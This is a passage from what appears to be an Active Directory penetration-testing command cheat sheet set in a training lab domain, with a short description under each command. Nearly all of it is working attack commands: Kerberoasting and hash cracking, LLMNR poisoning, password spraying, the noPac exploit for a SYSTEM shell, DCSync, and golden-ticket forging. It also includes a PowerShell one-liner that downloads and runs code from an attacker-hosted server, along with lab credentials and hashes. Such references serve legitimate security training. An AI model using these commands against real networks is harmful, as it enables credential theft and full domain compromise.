host.</blockquote><pre>`Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`</pre><blockquote>PowerShell cmd-let used to view `AppLocker` policies from a Windows-based host.</blockquote><pre>`$ExecutionContext.SessionState.LanguageMode`</pre><blockquote>PowerShell script used to discover the `PowerShell Language Mode` being used on a Windows-based host. Performed from a Windows-based host.</blockquote><pre>`Find-LAPSDelegatedGroups`</pre><blockquote>A `LAPSToolkit` function that discovers `LAPS Delegated Groups` from a Windows-based host.</blockquote><pre>`Find-AdmPwdExtendedRights`</pre><blockquote>A `LAPSTookit` function that checks the rights on each computer with LAPS enabled for any groups with read access and users with `All Extended Rights`. Performed from a Windows-based host.</blockquote><pre>`Get-LAPSComputers`</pre><blockquote>A `LAPSToolkit` function that searches for computers that have LAPS enabled, discover password expiration and can discover randomized passwords. Performed from a Windows-based host.</blockquote><p><strong>Group Policy Enumeration &amp; Attacks</strong></p><pre>`gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE`</pre><blockquote>Tool used to decrypt a captured `group policy preference password` from a Linux-based host.</blockquote><pre>`crackmapexec smb -L | grep gpp`</pre><blockquote>Locates and retrieves a `group policy preference password` using `CrackMapExec`, the filters the output using `grep`. Peformed from a Linux-based host.</blockquote><pre>`crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin`</pre><blockquote>Locates and retrieves any credentials stored in the `SYSVOL` share of a Windows target using `CrackMapExec` from a Linux-based host.</blockquote><pre>`Get-DomainGPO | select displayname`</pre><blockquote>PowerView tool used to enumerate GPO names in a target Windows domain from a Windows-based host.</blockquote><pre>`Get-GPO -All | Select DisplayName`</pre><blockquote>PowerShell cmd-let used to enumerate GPO names. Performed from a Windows-based host.</blockquote><pre>`$sid=Convert-NameToSid &quot;Domain Users&quot;`</pre><blockquote>Creates a variable called `$sid` that is set equal to the `Convert-NameToSid` tool and specifies the group account `Domain Users`. Performed from a Windows-based host.</blockquote><pre>`Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid`</pre><blockquote>PowerView tool that is used to check if the `Domain Users` (`eq $sid`) group has any rights over one or more GPOs. Performed from a Windows-based host.</blockquote><pre>`Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532`</pre><blockquote>PowerShell cmd-let used to display the name of a GPO given a `GUID`. Performed from a Windows-based host.</blockquote><p><strong>Internal Enumeration</strong></p><pre>`Get-Module`</pre><blockquote>PowerShell cmd-let used to list all available modules, their version and command options from a Windows-based host.</blockquote><pre>`Import-Module ActiveDirectory`</pre><blockquote>Loads the `Active Directory` PowerShell module from a Windows-based host.</blockquote><pre>`Get-ADDomain`</pre><blockquote>PowerShell cmd-let used to gather Windows domain information from a Windows-based host.</blockquote><pre>`Get-ADUser -Filter {ServicePrincipalName -ne &quot;$null&quot;} -Properties ServicePrincipalName`</pre><blockquote>PowerShell cmd-let used to enumerate user accounts on a target Windows domain and filter by `ServicePrincipalName`. Performed from a Windows-based host.</blockquote><pre>`Get-ADTrust -Filter *`</pre><blockquote>PowerShell cmd-let used to enumerate any trust relationships in a target Windows domain and filters by any (`-Filter *`). Performed from a Windows-based host.</blockquote><pre>`Get-ADGroup -Filter * | select name`</pre><blockquote>PowerShell cmd-let used to enumerate groups in a target Windows domain and filters by the name of the group (`select name`). Performed from a Windows-based host.</blockquote><pre>`Get-ADGroup -Identity &quot;Backup Operators&quot;`</pre><blockquote>PowerShell cmd-let used to search for a specifc group (`-Identity &quot;Backup Operators&quot;`). Performed from a Windows-based host.</blockquote><pre>`Get-ADGroupMember -Identity &quot;Backup Operators&quot;`</pre><blockquote>PowerShell cmd-let used to discover the members of a specific group (`-Identity &quot;Backup Operators&quot;`). Performed from a Windows-based host.</blockquote><pre>`Export-PowerViewCSV`</pre><blockquote>PowerView script used to append results to a `CSV` file. Performed from a Windows-based host.</blockquote><pre>`ConvertTo-SID`</pre><blockquote>PowerView script used to convert a `User` or `Group` name to it&#39;s `SID`. Performed from a Windows-based host.</blockquote><pre>`Get-DomainSPNTicket`</pre><blockquote>PowerView script used to request the kerberos ticket for a specified service principal name (`SPN`). Performed from a Windows-based host.</blockquote><pre>`Get-Domain`</pre><blockquote>PowerView script used tol return the AD object for the current (or specified) domain. Performed from a Windows-based host.</blockquote><pre>`Get-DomainController`</pre><blockquote>PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host.</blockquote><pre>`Get-DomainUser`</pre><blockquote>PowerView script used to return all users or specific user objects in AD. Performed from a Windows-based host.</blockquote><pre>`Get-DomainComputer`</pre><blockquote>PowerView script used to return all computers or specific computer objects in AD. Performed from a Windows-based host.</blockquote><pre>`Get-DomainGroup`</pre><blockquote>PowerView script used to eturn all groups or specific group objects in AD. Performed from a Windows-based host.</blockquote><pre>`Get-DomainOU`</pre><blockquote>PowerView script used to search for all or specific OU objects in AD. Performed from a Windows-based host.</blockquote><pre>`Find-InterestingDomainAcl`</pre><blockquote>PowerView script used to find object `ACLs` in the domain with modification rights set to non-built in objects. Performed from a Windows-based host.</blockquote><pre>`Get-DomainGroupMember`</pre><blockquote>PowerView script used to return the members of a specific domain group. Performed from a Windows-based host.</blockquote><pre>`Get-DomainFileServer`</pre><blockquote>PowerView script used to return a list of servers likely functioning as file servers. Performed from a Windows-based host.</blockquote><pre>`Get-DomainDFSShare`</pre><blockquote>PowerView script used to return a list of all distributed file systems for the current (or specified) domain. Performed from a Windows-based host.</blockquote><pre>`Get-DomainGPO`</pre><blockquote>PowerView script used to return all GPOs or specific GPO objects in AD. Performed from a Windows-based host.</blockquote><pre>`Get-DomainPolicy`</pre><blockquote>PowerView script used to return the default domain policy or the domain controller policy for the current domain. Performed from a Windows-based host.</blockquote><pre>`Get-NetLocalGroup`</pre><blockquote>PowerView script used to enumerate local groups on a local or remote machine. Performed from a Windows-based host.</blockquote><pre>`Get-NetLocalGroupMember`</pre><blockquote>PowerView script enumerate members of a specific local group. Performed from a Windows-based host.</blockquote><pre>`Get-NetShare`</pre><blockquote>PowerView script used to return a list of open shares on a local (or a remote) machine. Performed from a Windows-based host.</blockquote><pre>`Get-NetSession`</pre><blockquote>PowerView script used to return session information for the local (or a remote) machine. Performed from a Windows-based host.</blockquote><pre>`Test-AdminAccess`</pre><blockquote>PowerView script used to test if the current user has administrative access to the local (or a remote) machine. Performed from a Windows-based host.</blockquote><pre>`Find-DomainUserLocation`</pre><blockquote>PowerView script used to find machines where specific users are logged into. Performed from a Windows-based host.</blockquote><pre>`Find-DomainShare`</pre><blockquote>PowerView script used to find reachable shares on domain machines. Performed from a Windows-based host.</blockquote><pre>`Find-InterestingDomainShareFile`</pre><blockquote>PowerView script that searches for files matching specific criteria on readable shares in the domain. Performed from a Windows-based host.</blockquote><pre>`Find-LocalAdminAccess`</pre><blockquote>PowerView script used to find machines on the local domain where the current user has local administrator access Performed from a Windows-based host.</blockquote><pre>`Get-DomainTrust`</pre><blockquote>PowerView script that returns domain trusts for the current domain or a specified domain. Performed from a Windows-based host.</blockquote><pre>`Get-ForestTrust`</pre><blockquote>PowerView script that returns all forest trusts for the current forest or a specified forest. Performed from a Windows-based host.</blockquote><pre>`Get-DomainForeignUser`</pre><blockquote>PowerView script that enumerates users who are in groups outside of the user&#39;s domain. Performed from a Windows-based host.</blockquote><pre>`Get-DomainForeignGroupMember`</pre><blockquote>PowerView script that enumerates groups with users outside of the group&#39;s domain and returns each foreign member. Performed from a Windows-based host.</blockquote><pre>`Get-DomainTrustMapping`</pre><blockquote>PowerView script that enumerates all trusts for current domain and any others seen. Performed from a Windows-based host.</blockquote><pre>`Get-DomainGroupMember -Identity &quot;Domain Admins&quot; -Recurse`</pre><blockquote>PowerView script used to list all the members of a target group (`&quot;Domain Admins&quot;`) through the use of the recurse option (`-Recurse`). Performed from a Windows-based host.</blockquote><pre>`Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName`</pre><blockquote>PowerView script used to find users on the target Windows domain that have the `Service Principal Name` set. Performed from a Windows-based host.</blockquote><pre>`.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data`</pre><blockquote>Runs a tool called `Snaffler` against a target Windows domain that finds various kinds of data in shares that the compromised account has access to. Performed from a Windows-based host.</blockquote><p><strong>Kerberoasting</strong></p><pre>`sudo python3 -m pip install .`</pre><blockquote>Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host.</blockquote><pre>`GetUserSPNs.py -h`</pre><blockquote>Impacket tool used to display the options and functionality of `GetUserSPNs.py` from a Linux-based host.</blockquote><pre>`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday`</pre><blockquote>Impacket tool used to get a list of `SPNs` on the target Windows domain from a Linux-based host.</blockquote><pre>`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request`</pre><blockquote>Impacket tool used to download/request (`-request`) all TGS tickets for offline processing from a Linux-based host.</blockquote><pre>`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev`</pre><blockquote>Impacket tool used to download/request (`-request-user`) a TGS ticket for a specific user account (`sqldev`) from a Linux-based host.</blockquote><pre>`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs`</pre><blockquote>Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (`-outputfile sqldev_tgs`) linux-based host.</blockquote><pre>`hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force`</pre><blockquote>Attempts to crack the Kerberos (`-m 13100`) ticket hash (`sqldev_tgs`) using `hashcat` and a wordlist (`rockyou.txt`) from a Linux-based host.</blockquote><pre>`setspn.exe -Q */*`</pre><blockquote>Used to enumerate `SPNs` in a target Windows domain from a Windows-based host.</blockquote><pre>`Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList &quot;MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433&quot;`</pre><blockquote>PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host.</blockquote><pre>`setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String &#39;^CN&#39; -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }`</pre><blockquote>Used to download/request all TGS tickets from a WIndows-based host.</blockquote><pre>`mimikatz # base64 /out:true`</pre><blockquote>`Mimikatz` command that ensures TGS tickets are extracted in `base64` format from a Windows-based host.</blockquote><pre>`kerberos::list /export`</pre><blockquote>`Mimikatz` command used to extract the TGS tickets from a Windows-based host.</blockquote><pre>`echo &quot;&lt;base64 blob&gt;&quot; | tr -d \\n`</pre><blockquote>Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host.</blockquote><pre>`cat encoded_file | base64 -d &gt; sqldev.kirbi`</pre><blockquote>Used to output a file (`encoded_file`) into a .kirbi file in base64 (`base64 -d &gt; sqldev.kirbi`) format from a Linux-based host.</blockquote><pre>`python2.7 kirbi2john.py sqldev.kirbi`</pre><blockquote>Used to extract the `Kerberos ticket`. This also creates a file called `crack_file` from a Linux-based host.</blockquote><pre>`sed &#39;s/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/&#39; crack_file &gt; sqldev_tgs_hashcat`</pre><blockquote>Used to modify the `crack_file` for `Hashcat` from a Linux-based host.</blockquote><pre>`cat sqldev_tgs_hashcat`</pre><blockquote>Used to view the prepared hash from a Linux-based host.</blockquote><pre>`hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt`</pre><blockquote>Used to crack the prepared Kerberos ticket hash (`sqldev_tgs_hashcat`) using a wordlist (`rockyou.txt`) from a Linux-based host.</blockquote><pre>`Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname`</pre><blockquote>Uses PowerView tool to extract `TGS Tickets` . Performed from a Windows-based host.</blockquote><pre>`Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat`</pre><blockquote>PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for `Hashcat` from a Windows-based host.</blockquote><pre>`Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation`</pre><blockquote>Exports all TGS tickets to a `.CSV` file (`ilfreight_tgs.csv`) from a Windows-based host.</blockquote><pre>`cat .\ilfreight_tgs.csv`</pre><blockquote>Used to view the contents of the .csv file from a Windows-based host.</blockquote><pre>`.\Rubeus.exe`</pre><blockquote>Used to view the options and functionality possible with the tool `Rubeus`. Performed from a Windows-based host.</blockquote><pre>`.\Rubeus.exe kerberoast /stats`</pre><blockquote>Used to check the kerberoast stats (`/stats`) within the target Windows domain from a Windows-based host.</blockquote><pre>`.\Rubeus.exe kerberoast /ldapfilter:&#39;admincount=1&#39; /nowrap`</pre><blockquote>Used to request/download TGS tickets for accounts with the `admin` count set to `1` then formats the output in an easy to view &amp; crack manner (`/nowrap`) . Performed from a Windows-based host.</blockquote><pre>`.\Rubeus.exe kerberoast /user:testspn /nowrap`</pre><blockquote>Used to request/download a TGS ticket for a specific user (`/user:testspn`) the formats the output in an easy to view &amp; crack manner (`/nowrap`). Performed from a Windows-based host.</blockquote><pre>`Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes`</pre><blockquote>PowerView tool used to check the `msDS-SupportedEncryptionType` attribute associated with a specific user account (`testspn`). Performed from a Windows-based host.</blockquote><pre>`hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt`</pre><blockquote>Used to attempt to crack the ticket hash using a wordlist (`rockyou.txt`) from a Linux-based host .</blockquote><p><strong>LLMNR/NTB-NS Poisoning</strong></p><pre>`responder -h`</pre><blockquote>Used to display the usage instructions and various options available in `Responder` from a Linux-based host.</blockquote><pre>`hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt`</pre><blockquote>Uses `hashcat` to crack `NTLMv2` (`-m`) hashes that were captured by responder and saved in a file (`frond_ntlmv2`). The cracking is done based on a specified wordlist.</blockquote><pre>`Import-Module .\Inveigh.ps1`</pre><blockquote>Using the `Import-Module` PowerShell cmd-let to import the Windows-based tool `Inveigh.ps1`.</blockquote><pre>`(Get-Command Invoke-Inveigh).Parameters`</pre><blockquote>Used to output many of the options &amp; functionality available with `Invoke-Inveigh`. Peformed from a Windows-based host.</blockquote><pre>`Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y`</pre><blockquote>Starts `Inveigh` on a Windows-based host with LLMNR &amp; NBNS spoofing enabled and outputs the results to a file.</blockquote><pre>`.\Inveigh.exe`</pre><blockquote>Starts the `C#` implementation of `Inveigh` from a Windows-based host.</blockquote><pre>`$regkey = &quot;HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces&quot; Get-ChildItem $regkey |foreach { Set-ItemProperty -Path &quot;$regkey\$($_.pschildname)&quot; -Name NetbiosOptions -Value 2 -Verbose}`</pre><blockquote>PowerShell script used to disable NBT-NS on a Windows host.</blockquote><p><strong>Password Spraying &amp; Password Policies</strong></p><pre>`#!/bin/bash for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}} do echo $x; done`</pre><blockquote>Bash script used to generate `16,079,616` possible username combinations from a Linux-based host.</blockquote><pre>`crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol`</pre><blockquote>Uses `CrackMapExec`and valid credentials (`avazquez:Password123`) to enumerate the password policy (`--pass-pol`) from a Linux-based host.</blockquote><pre>`rpcclient -U &quot;&quot; -N 172.16.5.5`</pre><blockquote>Uses `rpcclient` to discover information about the domain through `SMB NULL` sessions. Performed from a Linux-based host.</blockquote><pre>`rpcclient $&gt; querydominfo`</pre><blockquote>Uses `rpcclient` to enumerate the password policy in a target Windows domain from a Linux-based host.</blockquote><pre>`enum4linux -P 172.16.5.5`</pre><blockquote>Uses `enum4linux` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host.</blockquote><pre>`enum4linux-ng -P 172.16.5.5 -oA ilfreight`</pre><blockquote>Uses `enum4linux-ng` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host, then presents the output in YAML &amp; JSON saved in a file proceeding the `-oA` option.</blockquote><pre>`ldapsearch -h 172.16.5.5 -x -b &quot;DC=INLANEFREIGHT,DC=LOCAL&quot; -s sub &quot;*&quot; | grep -m 1 -B 10 pwdHistoryLength`</pre><blockquote>Uses `ldapsearch` to enumerate the password policy in a target Windows domain from a Linux-based host.</blockquote><pre>`net accounts`</pre><blockquote>Used to enumerate the password policy in a Windows domain from a Windows-based host.</blockquote><pre>`Import-Module .\PowerView.ps1`</pre><blockquote>Uses the Import-Module cmd-let to import the `PowerView.ps1` tool from a Windows-based host.</blockquote><pre>`Get-DomainPolicy`</pre><blockquote>Used to enumerate the password policy in a target Windows domain from a Windows-based host.</blockquote><pre>`enum4linux -U 172.16.5.5 | grep &quot;user:&quot; | cut -f2 -d&quot;[&quot; | cut -f1 -d&quot;]&quot;`</pre><blockquote>Uses `enum4linux` to discover user accounts in a target Windows domain, then leverages `grep` to filter the output to just display the user from a Linux-based host.</blockquote><pre>`rpcclient -U &quot;&quot; -N 172.16.5.5 rpcclient $&gt; enumdomuser`</pre><blockquote>Uses rpcclient to discover user accounts in a target Windows domain from a Linux-based host.</blockquote><pre>`crackmapexec smb 172.16.5.5 --users`</pre><blockquote>Uses `CrackMapExec` to discover users (`--users`) in a target Windows domain from a Linux-based host.</blockquote><pre>`ldapsearch -h 172.16.5.5 -x -b &quot;DC=INLANEFREIGHT,DC=LOCAL&quot; -s sub &quot;(&amp;(objectclass=user))&quot; | grep sAMAccountName: | cut -f2 -d&quot; &quot;`</pre><blockquote>Uses `ldapsearch` to discover users in a target Windows doman, then filters the output using `grep` to show only the `sAMAccountName` from a Linux-based host.</blockquote><pre>`./windapsearch.py --dc-ip 172.16.5.5 -u &quot;&quot; -U`</pre><blockquote>Uses the python tool `windapsearch.py` to discover users in a target Windows domain from a Linux-based host.</blockquote><pre>`for u in $(cat valid_users.txt);do rpcclient -U &quot;$u%Welcome1&quot; -c &quot;getusername;quit&quot; 172.16.5.5 | grep Authority; done`</pre><blockquote>Bash one-liner used to perform a password spraying attack using `rpcclient` and a list of users (`valid_users.txt`) from a Linux-based host. It also filters out failed attempts to make the output cleaner.</blockquote><pre>`kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1`</pre><blockquote>Uses `kerbrute` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host.</blockquote><pre>`sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +`</pre><blockquote>Uses `CrackMapExec` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using `grep`.</blockquote><pre>`sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123`</pre><blockquote>Uses `CrackMapExec` to validate a set of credentials from a Linux-based host.</blockquote><pre>`sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +`</pre><blockquote>Uses `CrackMapExec` and the -`-local-auth` flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using `grep`.</blockquote><pre>`Import-Module .\DomainPasswordSpray.ps1`</pre><blockquote>Used to import the PowerShell-based tool `DomainPasswordSpray.ps1` from a Windows-based host.</blockquote><pre>`Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue`</pre><blockquote>Performs a password spraying attack and outputs (-OutFile) the results to a specified file (`spray_success`) from a Windows-based host.</blockquote><p><strong>Privileged Access</strong></p><pre>Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName &quot;Remote Desktop Users&quot;`</pre><blockquote>PowerView based tool to used to enumerate the `Remote Desktop Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.</blockquote><pre>`Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName &quot;Remote Management Users&quot;`</pre><blockquote>PowerView based tool to used to enumerate the `Remote Management Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.</blockquote><pre>`$password = ConvertTo-SecureString &quot;Klmcargo2&quot; -AsPlainText -Force`</pre><blockquote>Creates a variable (`$password`) set equal to the password (`Klmcargo2`) of a user from a Windows-based host.</blockquote><pre>`$cred = new-object System.Management.Automation.PSCredential (&quot;INLANEFREIGHT\forend&quot;, $password)`</pre><blockquote>Creates a variable (`$cred`) set equal to the username (`forend`) and password (`$password`) of a target domain account from a Windows-based host.</blockquote><pre>`Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred`</pre><blockquote>Uses the PowerShell cmd-let `Enter-PSSession` to establish a PowerShell session with a target over the network (`-ComputerName ACADEMY-EA-DB01`) from a Windows-based host. Authenticates using credentials made in the 2 commands shown prior (`$cred` &amp; `$password`).</blockquote><pre>`evil-winrm -i 10.129.201.234 -u forend`</pre><blockquote>Used to establish a PowerShell session with a Windows target from a Linux-based host using `WinRM`.</blockquote><pre>`Import-Module .\PowerUpSQL.ps1`</pre><pre>Used to import the `PowerUpSQL` tool.</pre><pre>`Get-SQLInstanceDomain`</pre><blockquote>PowerUpSQL tool used to enumerate SQL server instances from a Windows-based host.</blockquote><pre>`Get-SQLQuery -Verbose -Instance &quot;172.16.5.150,1433&quot; -username &quot;inlanefreight\damundsen&quot; -password &quot;SQL1234!&quot; -query &#39;Select @@version&#39;`</pre><blockquote>PowerUpSQL tool used to connect to connect to a SQL server and query the version (`-query &#39;Select @@version&#39;`) from a Windows-based host.</blockquote><pre>`mssqlclient.py`</pre><blockquote>Impacket tool used to display the functionality and options provided with `mssqlclient.py` from a Linux-based host.</blockquote><pre>`mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth`</pre><blockquote>Impacket tool used to connect to a MSSQL server from a Linux-based host.</blockquote><pre>`SQL&gt; help`</pre><blockquote>Used to display mssqlclient.py options once connected to a MSSQL server.</blockquote><pre>`SQL&gt; enable_xp_cmdshell`</pre><blockquote>Used to enable `xp_cmdshell stored procedure` that allows for executing OS commands via the database from a Linux-based host.</blockquote><pre>`xp_cmdshell whoami /priv`</pre><blockquote>Used to enumerate rights on a system using `xp_cmdshell`.</blockquote><pre># NoPac</pre><pre>Command</pre><pre>Description</pre><pre>`sudo git clone <a href="https://github.com/Ridter/noPac.git%60">https://github.com/Ridter/noPac.git`</a></pre><blockquote>Used to clone a `noPac` exploit using git. Performed from a Linux-based host.</blockquote><pre>`sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap`</pre><blockquote>Runs `scanner.py` to check if a target system is vulnerable to `noPac`/`Sam_The_Admin` from a Linux-based host.</blockquote><pre>`sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap`</pre><blockquote>Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and gain a SYSTEM shell (`-shell`). Performed from a Linux-based host.</blockquote><pre>`sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator`</pre><blockquote>Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and perform a `DCSync` attack against the built-in Administrator account on a Domain Controller from a Linux-based host.</blockquote><p><strong>Transfering Files</strong></p><blockquote>`sudo python3 -m http.server 8001`</blockquote><blockquote>Starts a python web server for quick hosting of files. Performed from a Linux-basd host.</blockquote><pre>`&quot;IEX(New-Object Net.WebClient).downloadString(&#39;<a href="http://172.16.5.222/SharpHound.exe&#39;">http://172.16.5.222/SharpHound.exe&#39;</a>)&quot;`</pre><blockquote>PowerShell one-liner used to download a file from a web server. Performed from a Windows-based host.</blockquote><pre>`impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/`</pre><blockquote>Starts a impacket `SMB` server for quick hosting of a file. Performed from a Windows-based host.</blockquote><p><strong>Trust Relationships — Child &gt; Parent Trusts</strong></p><pre>`Import-Module activedirectory`</pre><blockquote>Used to import the `Active Directory` module. Performed from a Windows-based host.</blockquote><pre>`Get-ADTrust -Filter *`</pre><blockquote>PowerShell cmd-let used to enumerate a target Windows domain&#39;s trust relationships. Performed from a Windows-based host.</blockquote><pre>`Get-DomainTrust`</pre><blockquote>PowerView tool used to enumerate a target Windows domain&#39;s trust relationships. Performed from a Windows-based host.</blockquote><pre>`Get-DomainTrustMapping`</pre><blockquote>PowerView tool used to perform a domain trust mapping from a Windows-based host.</blockquote><pre>`Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName`</pre><blockquote>PowerView tools used to enumerate users in a target child domain from a Windows-based host.</blockquote><pre>`mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt`</pre><blockquote>Uses Mimikatz to obtain the `KRBTGT` account&#39;s `NT Hash` from a Windows-based host.</blockquote><pre>`Get-DomainSID`</pre><blockquote>PowerView tool used to get the SID for a target child domain from a Windows-based host.</blockquote><pre>`Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity &quot;Enterprise Admins&quot; | select distinguishedname,objectsid`</pre><blockquote>PowerView tool used to obtain the `Enterprise Admins` group&#39;s SID from a Windows-based host.</blockquote><pre>`ls \\academy-ea-dc01.inlanefreight.local\c$`</pre><blockquote>Used to attempt to list the contents of the C drive on a target Domain Controller. Performed from a Windows-based host.</blockquote><pre>`mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt`</pre><blockquote>Uses `Mimikatz` to create a `Golden Ticket` from a Windows-based host .</blockquote><pre>`.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt`</pre><blockquote>Uses `Rubeus` to create a `Golden Ticket` from a Windows-based host.</blockquote><pre>`mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm`</pre><blockquote>Uses `Mimikatz` to perform a DCSync attack from a Windows-based host.</blockquote><pre>`secretsdump.py logistics.inlanefreight.local/lafi@172.16.5.240 -just-dc-user LOGISTICS/krbtgt`</pre><blockquote>Impacket tool used to perform a DCSync attack from a Linux-based host.</blockquote><pre>`lookupsid.py logistics.inlanefreight.local/lafi@172.16.5.240`</pre><blockquote>Impacket tool used to perform a `SID Brute forcing` attack from a Linux-based host.</blockquote><pre>`lookupsid.py logistics.inlanefreight.local/lafi@172.16.5.240 | grep &quot;Domain SID&quot;`</pre><blockquote>Impacket tool used to retrieve the SID of a target Windows domain from a Linux-based host.</blockquote><pre>`lookupsid.py logistics.inlanefreight.local/lafi@172.16.5.5 | grep -B12 &quot;Enterprise Admins&quot;`</pre><blockquote>Impacket tool used to retrieve the `SID` of a target Windows domain and attach it to the Enterprise Admin group&#39;s `RID` from a Linux-based host.</blockquote><pre>`ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker`</pre><blockquote>Impacket tool used to create a `Golden Ticket` from a Linux-based host.</blockquote><pre>`export KRB5CCNAME=hacker.ccache`</pre><blockquote>Used to set the `KRB5CCNAME Environment Variable` from a Linux-based host.</blockquote><pre>`psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@lafi-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5`</pre><blockquote>Impacket tool used to establish a shell session with a target Domain Controller from a Linux-based host.</blockquote><pre>`raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/lafi`</pre><blockquote>Impacket tool that automatically performs an attack that escalates from child to parent domain.</blockquote><p><strong>Trust Relationships — Cross-Forest</strong></p><pre>`Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName`</pre><blockquote>PowerView tool used to enumerate accounts for associated `SPNs` from a Windows-based host.</blockquote><pre>`Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof`</pre><blockquote>PowerView tool used to enumerate the `mssqlsvc` account from a Windows-based host.</blockquote><pre>`.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap`</pre><blockquote>Uses `Rubeus` to perform a Kerberoasting Attack against a target Windows domain (`/domain:FREIGHTLOGISTICS.local`) from a Windows-based host.</blockquote><pre>`Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL`</pre><blockquote>PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host.</blockquote><pre>`Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator`</pre><blockquote>PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based 